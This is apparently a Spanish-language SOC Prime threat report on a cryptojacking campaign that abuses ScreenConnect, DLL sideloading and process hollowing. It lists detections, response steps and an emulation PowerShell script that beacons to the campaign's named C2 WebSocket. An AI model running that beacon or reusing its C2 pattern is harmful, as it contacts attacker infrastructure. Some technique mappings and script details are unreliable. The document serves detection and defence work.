SOC Prime Bias: Medio

27 May 2026 15:46 UTC

De Resultados de Búsqueda Envenenados a Minería de GPU: Una Campaña de Criptojacking Usando ScreenConnect y Utilidades .NET

Author Photo
SOC Prime Team linkedin icon Seguir
De Resultados de Búsqueda Envenenados a Minería de GPU: Una Campaña de Criptojacking Usando ScreenConnect y Utilidades .NET
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Esta campaña utiliza envenenamiento SEO y resultados manipulados de búsqueda de chatbots AI para atraer a los usuarios a descargar herramientas de monitoreo de hardware falsas. Los instaladores troyanizados llevan un DLL malicioso que se carga lateralmente en una aplicación legítima y despliega discretamente ScreenConnect. Los atacantes luego usan ScreenConnect para lanzar un dropper RunPE personalizado que vacía binarios .NET firmados por Microsoft e inyecta la carga útil de la siguiente etapa. La etapa final descarga herramientas de minería de GPU como gminer, lolMiner, y SRBMiner-MULTI, luego mantiene la persistencia a través de tareas programadas, claves de ejecución del registro y un acceso directo de inicio. El malware también agrega exclusiones de Windows Defender para reducir la posibilidad de detección.

Investigación

Los investigadores de Microsoft Defender mapearon toda la cadena de infección, incluyendo el método de carga lateral de DLL, el abuso de ScreenConnect como herramienta de gestión remota, y el uso de un cargador RunPE personalizado llamado SimpleRunPE.exe. Los analistas recuperaron los argumentos de línea de comandos de ScreenConnect, identificaron la lista de binarios .NET firmados utilizados para vaciado de procesos, y documentaron un punto final de comando y control protegido con un certificado TLS fijado. La investigación también descubrió infraestructuras de soporte como dominios maliciosos, direcciones IP y detalles del proveedor DNS vinculados a la campaña.

Mitigación

Los defensores deben habilitar la protección en la nube, aplicar reglas de reducción de superficie de ataque, bloquear archivos ejecutables que no cumplan con los requisitos de reputación, prevalencia o antigüedad, y activar la protección web y de red en Microsoft Defender para Endpoint. Se debe desactivar herramientas de gestión remota como ScreenConnect donde no sean necesarias o controlarlas estrictamente donde se requiera, monitoreando tareas programadas no autorizadas y entradas de ejecución del registro sospechosas. Cualquier exclusión de Windows Defender añadida por el malware debe ser eliminada inmediatamente, y los dominios y direcciones IP maliciosos identificados deben ser bloqueados.

Respuesta

If RuntimeHost.exe or SimpleRunPE.exe se encuentra ejecutándose desde directorios de caché ocultos, aísle el host afectado de inmediato, termine la sesión relacionada de ScreenConnect y elimine todos los mecanismos de persistencia, incluidas las tareas programadas, las claves de ejecución y los accesos directos de inicio. Bloquee el dominio minemine.gleeze.com y las direcciones IP observadas, luego busque en el entorno los binarios de mineros listados y autorun.dll. Finalmente, restaure las protecciones de Defender y revise la configuración de exclusión para detectar cambios no autorizados.

graph TB %% Definiciones de clases classDef action fill:#99ccff classDef technique fill:#ffdd99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ffcc66 classDef persistence fill:#99ff99 classDef defense fill:#ff66cc classDef privilege fill:#ffb366 classDef c2 fill:#66ccff classDef discovery fill:#c2c2f0 %% Nodos action_initial_access[«<b>Acción</b> – <b>T1659 Inyección de contenido</b><br/>SEO poisoning y enlaces de chatbots de IA entregan archivos ZIP maliciosos disfrazados de utilidades.»] class action_initial_access action technique_event_trigger[«<b>Técnica</b> – <b>T1546.009 AppCert DLL</b><br/>autorun.dll colocada junto a una utilidad legítima se carga cuando la utilidad se ejecuta.»] class technique_event_trigger technique process_msiexec[«<b>Proceso</b> – msiexec.exe»] class process_msiexec process technique_dll_injection[«<b>Técnica</b> – <b>T1055.001 Inyección de biblioteca de enlace dinámico</b><br/>autorun.dll invoca msiexec para instalar silenciosamente vcredist_x64.dll malicioso que contiene el instalador de ScreenConnect.»] class technique_dll_injection technique technique_proxy_execution[«<b>Técnica</b> – <b>T1218.007 Ejecución proxy mediante Msiexec</b><br/>msiexec ejecuta el instalador malicioso y establece un cliente ScreenConnect.»] class technique_proxy_execution technique malware_screenconnect[«<b>Malware</b> – Cliente ScreenConnect»] class malware_screenconnect malware persistence_scheduled[«<b>Persistencia</b> – <b>T1543 Tareas programadas</b><br/>Tareas llamadas “Windows System Health”, etc., relanzan el malware.»] class persistence_scheduled persistence persistence_registry[«<b>Persistencia</b> – <b>T1037.001 Script de inicio de sesión</b><br/>Se agregan claves Registry Run (HKLM/HKCU\\Run\\WinSysCache).»] class persistence_registry persistence persistence_startup[«<b>Persistencia</b> – <b>T1037.004 Script RC</b><br/>Acceso directo en la carpeta Startup apunta a RuntimeHost.exe.»] class persistence_startup persistence defense_exclusions[«<b>Evasión de defensas</b> – <b>T1564.012 Exclusiones de archivo/ruta</b> & <b>T1564.010 Suplantación de argumentos de proceso</b><br/>Agrega exclusiones de Windows Defender para archivos y procesos.»] class defense_exclusions defense defense_impair[«<b>Evasión de defensas</b> – <b>T1562 Deshabilitar defensas</b><br/>Usa las exclusiones para evitar la detección AV.»] class defense_impair defense defense_sandbox[«<b>Evasión de defensas</b> – <b>T1497 Evasión de virtualización/sandbox</b><br/>Las verificaciones de actividad del usuario (T1497.002) y evasión basada en tiempo (T1497.003) abortan la ejecución en entornos de análisis.»] class defense_sandbox defense defense_codesign[«<b>Evasión de defensas</b> – <b>T1553.002 Subvertir controles de confianza</b><br/>Código malicioso se ejecuta dentro de binarios .NET firmados por Microsoft mediante process hollowing.»] class defense_codesign defense privilege_hollowing[«<b>Escalada de privilegios</b> – <b>T1055.012 Process Hollowing</b><br/>SimpleRunPE inicia un binario .NET legítimo en estado suspendido e inyecta el payload.»] class privilege_hollowing privilege c2_websocket[«<b>Comando y control</b> – <b>T1102.002 Websocket</b><br/>wss://minemine.gleeze.com:8443/ws cifrado con TLS pinning.»] class c2_websocket c2 discovery_info[«<b>Descubrimiento</b> – <b>T1082 Información del sistema</b>, <b>T1592.001 Hardware</b>, <b>T1592.002 Software</b><br/>Recopila CPU, GPU, RAM, versión del SO, producto de seguridad, etc., para evaluar la viabilidad de minería.»] class discovery_info discovery %% Flujo action_initial_access –>|conduce a| technique_event_trigger technique_event_trigger –>|carga| process_msiexec process_msiexec –>|ejecuta| technique_dll_injection technique_dll_injection –>|instala| technique_proxy_execution technique_proxy_execution –>|instala| malware_screenconnect malware_screenconnect –>|crea| persistence_scheduled malware_screenconnect –>|crea| persistence_registry malware_screenconnect –>|crea| persistence_startup malware_screenconnect –>|agrega| defense_exclusions defense_exclusions –>|habilita| defense_impair defense_impair –>|facilita| defense_sandbox defense_sandbox –>|respaldado por| defense_codesign defense_codesign –>|habilita| privilege_hollowing privilege_hollowing –>|establece| c2_websocket c2_websocket –>|recibe| discovery_info

Flujo de Ataque

Detecciones

Posibles Puntos de Persistencia [ASEPs – Vieja Base NTUSER] (via evento_registro)

Equipo de SOC Prime
27 de mayo de 2026

Schtasks apunta a un directorio / binario / script sospechoso (via línea de comandos)

Equipo de SOC Prime
27 de mayo de 2026

Software de Acceso / Gestión Remota Alternativo (via creación_de_proceso)

Equipo de SOC Prime
27 de mayo de 2026

Uso Sospechoso de CURL (via línea de comandos)

Equipo de SOC Prime
27 de mayo de 2026

Llamada a Métodos .NET Sospechosos desde Powershell (via powershell)

Equipo de SOC Prime
27 de mayo de 2026

Cambios Sospechosos en Preferencias de Windows Defender (via powershell)

Equipo de SOC Prime
27 de mayo de 2026

Posibles Chequeos de Evasión (via powershell)

Equipo de SOC Prime
27 de mayo de 2026

Binarios / Scripts Sospechosos en Ubicación de Autoinicio (via evento_archivo)

Equipo de SOC Prime
27 de mayo de 2026

IOCs (HashSha256) para detectar: Desde resultados de búsqueda envenenados hasta minería GPU: Una campaña de cryptojacking que abusa de ScreenConnect y las utilidades .NET de Microsoft

Reglas AI de SOC Prime
27 de mayo de 2026

IOCs (SourceIP) para detectar: Desde resultados de búsqueda envenenados hasta minería GPU: Una campaña de cryptojacking que abusa de ScreenConnect y las utilidades .NET de Microsoft

Reglas AI de SOC Prime
27 de mayo de 2026

IOCs (DestinationIP) para detectar: Desde resultados de búsqueda envenenados hasta minería GPU: Una campaña de cryptojacking que abusa de ScreenConnect y las utilidades .NET de Microsoft

Reglas AI de SOC Prime
27 de mayo de 2026

Comunicación C2 desde Binario Vaciado [Conexión de Red Windows]

Reglas AI de SOC Prime
27 de mayo de 2026

Acceso Remoto Persistente y Vaciado de Procesos via ScreenConnect y SimpleRunPE [Creación de Proceso Windows]

Reglas AI de SOC Prime
27 de mayo de 2026

Ejecución de Simulación

Prerrequisito: La Verificación de Pre-vuelo de Telemetría y Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa del Ataque y Comandos:
    Un atacante ya ha entregado un binario legítimo vaciado en la máquina de la víctima. El binario ahora inicia un canal C2 persistente sobre un WebSocket conexión a wss://minemine.gleeze.com:8443/ws. Para emular esto, usamos un script de PowerShell que crea un ClientWebSocket, opcionalmente establece una devolución de llamada de validación de certificado TLS personalizada (simulando fijación de certificados), y mantiene la conexión por un breve periodo.

  • Script de Prueba de Regresión:

    # Simular comunicación C2 desde un binario vaciado
    # Requisitos: PowerShell 5+ (clases .NET incorporadas)
    $c2Url = 'wss://minemine.gleeze.com:8443/ws'
    
    # Crear cliente WebSocket
    $ws = [System.Net.WebSockets.ClientWebSocket]::new()
    
    # OPCIONAL: Imponer fijación de certificado (aceptar solo una huella digital específica)
    $allowedThumbprint = 'ABCD1234EF567890ABCD1234EF567890ABCD1234'  # marcador de posición
    $handler = [System.Net.Http.HttpClientHandler]::new()
    $handler.ServerCertificateCustomValidationCallback = {
        param($sender, $cert, $chain, $sslPolicyErrors)
        $cert.Thumbprint -eq $allowedThumbprint
    }
    
    try {
        Write-Host "Conectando al punto final C2 $c2Url ..."
        $ws.ConnectAsync([System.Uri]::new($c2Url), [System.Threading.CancellationToken]::None).Wait()
        Write-Host "Conexión establecida. Enviando carga útil de baliza..."
    
        # Envía una baliza ficticia (JSON)
        $payload = '{ "beat": "alive", "ts": "' + (Get-Date).ToString('o') + '" }'
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
        $segment = [System.ArraySegment[byte]]::new($bytes)
        $ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait()
    
        Start-Sleep -Seconds 10   # Mantener el canal abierto por un breve periodo
    }
    finally {
        Write-Host "Cerrando WebSocket..."
        $ws.Abort()
    }
  • Comandos de Limpieza:

    # Asegúrese de que cualquier proceso de WebSocket restante esté terminado
    Get-Process -Name powershell | Where-Object { $_.MainWindowTitle -match 'WebSocket' } | Stop-Process -Force
    # Opcionalmente elimine archivos temporales utilizados en la prueba
    Remove-Item -Path "$env:TEMP*C2Simulation*" -Force -ErrorAction SilentlyContinue